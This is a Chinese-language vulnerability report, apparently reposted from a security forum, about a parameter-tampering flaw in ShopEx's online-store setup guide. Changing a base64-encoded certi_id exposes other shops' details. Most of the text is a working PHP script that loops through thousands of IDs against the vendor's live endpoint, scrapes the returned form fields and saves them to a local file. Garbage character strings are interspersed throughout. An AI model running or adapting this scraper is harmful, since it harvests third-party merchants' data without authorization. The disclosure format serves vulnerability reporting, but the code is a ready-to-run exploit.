ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
; n% g: W1 r1 P- B7 K+ `1 j3 O
) ?+ [7 n! Y/ t! t; l
" j6 `. \: A/ T
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
- k  ]& b) P! j8 E( S

+ v7 Y8 C- \8 u3 Y4 N
0 X/ }% _, I& s! ]6 O) k* k& |$ }refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
0 h9 |: W9 _0 y- T) x" U; Z! e
. E& J2 ^( Y1 g) ~5 A
/ L5 w. P7 K4 {1 T) k( M3 T; |
7 }9 u) x7 l7 @我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
  ]' H- H& I! k# `' ^

# n5 R# v% G2 ]$ r- v( S8 g
<?php
5 g* U. N1 R  O+ U( ?8 _
7 {" Q9 N# v% z( Y* d: [, O  P                for ($i=1; $i < 10000; $i++) { //遍历

* U( Q# R' n/ m3 @5 a: G6 f: H( L                        ShowshopExD($i);

6 e: @$ z( `& o2 _: N" s! x                }

( l. A; _7 W% G/ f; o9 Z1 ]                function ShowshopExD($cid) {
7 n  ~; S6 q/ ]7 y
                $url='http://guide.ecos.shopex.cn/step2.php';

: g; r& A+ M! H# V0 B  ^                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

) F' O8 {: h+ Q+ y- a7 f! @( q        $url = $url.'?refer='.$refer;

  p/ g9 Y- t  q! X" D) P        $ch = curl_init($url);

, y9 l7 J% m3 P; b  k$ f* @        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

% X$ r/ E5 a9 z4 g; ~3 A6 a" g        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
0 A5 D% p7 J2 S  r; l, [- k( ~. I0 w
; d- K4 b  R& x        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

7 h9 D. V, H% r5 ^9 ]        if(strpos($result,$refer))

) a1 y1 R9 v8 S3 [7 n        {
0 b7 t# X3 I. C! f$ K8 C" D
$ }0 P: p3 x  F3 d' `9 i3 d1 x                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

; b1 F6 D7 ^; ^( K1 C                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
" L. t5 {3 a: t; f- Y
( D& W1 C, y( D2 `7 v, p                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

% O% Q# \' v8 ]! Z5 q                        echo $res[1][0].':'.$res[3][0]."\r\n";
9 J' ^' Z6 V! D* k, I, I! c; I6 e1 A
0 Q* M6 D5 U. r( {* V+ {. @$ Y) y" ?; _                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' g% f0 s- n9 D/ O7 a
9 R  {% ~: z! m0 A2 E                        fwrite($fp, $col, strlen($col));
0 x: ?5 q* y+ u: k2 |9 B% P0 S  J
                }

                echo '--------------------------------'."\r\n";
* `) T0 G- o4 A1 _4 r5 b
7 L; A' Y- y1 T                fclose($fp);

        }

        flush();

        curl_close($ch);
3 n. Q2 b6 }' y+ s
; ?$ Y* y$ E3 P6 d& i2 s                }

?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
0 a  z' q7 s+ f! U* |refer换成其他加密方式